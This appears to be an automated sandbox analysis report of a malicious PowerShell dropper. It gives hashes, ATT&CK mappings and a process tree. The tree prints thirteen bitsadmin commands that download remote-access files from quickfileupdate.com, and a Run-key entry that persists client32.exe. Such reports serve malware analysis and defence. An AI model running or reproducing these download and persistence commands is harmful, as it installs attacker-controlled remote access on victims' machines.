f76b4b34066533b5484ea308fb1475e1c4e63e861770f51ec4fdb6fc8d414941

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
22-08-2024 22:46

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General

Target

f76b4b34066533b5484ea308fb1475e1c4e63e861770f51ec4fdb6fc8d414941.ps1
Size

2KB
MD5

b4c4c63eb1fd1bde068d7a7f8bced385
SHA1

00c3c94cba10abecd56eb5f0832aaf4f7c546fa0
SHA256

f76b4b34066533b5484ea308fb1475e1c4e63e861770f51ec4fdb6fc8d414941
SHA512

fa613c069967b078aa26d9de953ec2caf8f47ced2d013df2acde3017a69cb79bcb31bbafa4125a1f95d34cfdc71c62775f4bebf134972ddd64c40fbf73358a08

Score

8^/10

dropper execution persistence

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 13 IoCs

dropper

BITS Jobs

T1197

pid	Process
2948	bitsadmin.exe
1752	bitsadmin.exe
1532	bitsadmin.exe
2772	bitsadmin.exe
2312	bitsadmin.exe
1476	bitsadmin.exe
2880	bitsadmin.exe
2704	bitsadmin.exe
2956	bitsadmin.exe
2624	bitsadmin.exe
1984	bitsadmin.exe
340	bitsadmin.exe
2792	bitsadmin.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Windows\CurrentVersion\Run\BrowsingCache = "C:\\Users\\Admin\\AppData\\Roaming\\BrowsingCache\\client32.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 2956	2564	powershell.exe	32
PID 2564 wrote to memory of 2956	2564	powershell.exe	32
PID 2564 wrote to memory of 2956	2564	powershell.exe	32
PID 2564 wrote to memory of 2880	2564	powershell.exe	33
PID 2564 wrote to memory of 2880	2564	powershell.exe	33
PID 2564 wrote to memory of 2880	2564	powershell.exe	33
PID 2564 wrote to memory of 2772	2564	powershell.exe	34
PID 2564 wrote to memory of 2772	2564	powershell.exe	34
PID 2564 wrote to memory of 2772	2564	powershell.exe	34
PID 2564 wrote to memory of 2948	2564	powershell.exe	35
PID 2564 wrote to memory of 2948	2564	powershell.exe	35
PID 2564 wrote to memory of 2948	2564	powershell.exe	35
PID 2564 wrote to memory of 2792	2564	powershell.exe	36
PID 2564 wrote to memory of 2792	2564	powershell.exe	36
PID 2564 wrote to memory of 2792	2564	powershell.exe	36
PID 2564 wrote to memory of 2624	2564	powershell.exe	37
PID 2564 wrote to memory of 2624	2564	powershell.exe	37
PID 2564 wrote to memory of 2624	2564	powershell.exe	37
PID 2564 wrote to memory of 2704	2564	powershell.exe	38
PID 2564 wrote to memory of 2704	2564	powershell.exe	38
PID 2564 wrote to memory of 2704	2564	powershell.exe	38
PID 2564 wrote to memory of 1984	2564	powershell.exe	39
PID 2564 wrote to memory of 1984	2564	powershell.exe	39
PID 2564 wrote to memory of 1984	2564	powershell.exe	39
PID 2564 wrote to memory of 1476	2564	powershell.exe	40
PID 2564 wrote to memory of 1476	2564	powershell.exe	40
PID 2564 wrote to memory of 1476	2564	powershell.exe	40
PID 2564 wrote to memory of 340	2564	powershell.exe	41
PID 2564 wrote to memory of 340	2564	powershell.exe	41
PID 2564 wrote to memory of 340	2564	powershell.exe	41
PID 2564 wrote to memory of 2312	2564	powershell.exe	42
PID 2564 wrote to memory of 2312	2564	powershell.exe	42
PID 2564 wrote to memory of 2312	2564	powershell.exe	42
PID 2564 wrote to memory of 1752	2564	powershell.exe	43
PID 2564 wrote to memory of 1752	2564	powershell.exe	43
PID 2564 wrote to memory of 1752	2564	powershell.exe	43
PID 2564 wrote to memory of 1532	2564	powershell.exe	44
PID 2564 wrote to memory of 1532	2564	powershell.exe	44
PID 2564 wrote to memory of 1532	2564	powershell.exe	44

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\f76b4b34066533b5484ea308fb1475e1c4e63e861770f51ec4fdb6fc8d414941.ps1
1⤵
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/NSM.LIC C:\Users\Admin\AppData\Roaming\BrowsingCache\NSM.LIC
  2⤵
  - Download via BitsAdmin
  PID:2956
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/nsm_vpro.ini C:\Users\Admin\AppData\Roaming\BrowsingCache\nsm_vpro.ini
  2⤵
  - Download via BitsAdmin
  PID:2880
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/PCICHEK.DLL C:\Users\Admin\AppData\Roaming\BrowsingCache\PCICHEK.DLL
  2⤵
  - Download via BitsAdmin
  PID:2772
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/TCCTL32.DLL C:\Users\Admin\AppData\Roaming\BrowsingCache\TCCTL32.DLL
  2⤵
  - Download via BitsAdmin
  PID:2948
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/client32.exe C:\Users\Admin\AppData\Roaming\BrowsingCache\client32.exe
  2⤵
  - Download via BitsAdmin
  PID:2792
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/msvcr100.dll C:\Users\Admin\AppData\Roaming\BrowsingCache\msvcr100.dll
  2⤵
  - Download via BitsAdmin
  PID:2624
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/AudioCapture.dll C:\Users\Admin\AppData\Roaming\BrowsingCache\AudioCapture.dll
  2⤵
  - Download via BitsAdmin
  PID:2704
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/pcicapi.dll C:\Users\Admin\AppData\Roaming\BrowsingCache\pcicapi.dll
  2⤵
  - Download via BitsAdmin
  PID:1984
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/nskbfltr.inf C:\Users\Admin\AppData\Roaming\BrowsingCache\nskbfltr.inf
  2⤵
  - Download via BitsAdmin
  PID:1476
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/HTCTL32.DLL C:\Users\Admin\AppData\Roaming\BrowsingCache\HTCTL32.DLL
  2⤵
  - Download via BitsAdmin
  PID:340
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/remcmdstub.exe C:\Users\Admin\AppData\Roaming\BrowsingCache\remcmdstub.exe
  2⤵
  - Download via BitsAdmin
  PID:2312
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/PCICL32.DLL C:\Users\Admin\AppData\Roaming\BrowsingCache\PCICL32.DLL
  2⤵
  - Download via BitsAdmin
  PID:1752
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /tranSFeR o6VqG3 /dowNLOaD /PRIoRiTy nOrMAl https://quickfileupdate.com/udp/dwn/client32.ini C:\Users\Admin\AppData\Roaming\BrowsingCache\client32.ini
  2⤵
  - Download via BitsAdmin
  PID:1532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

BITS Jobs

T1197

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2564-4-0x000007FEF5F8E000-0x000007FEF5F8F000-memory.dmp

Filesize
4KB

Download
memory/2564-5-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/2564-7-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-8-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-6-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2564-9-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-10-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-11-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-12-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-13-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-14-0x000007FEF5F8E000-0x000007FEF5F8F000-memory.dmp

Filesize
4KB

Download
memory/2564-15-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-16-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-17-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download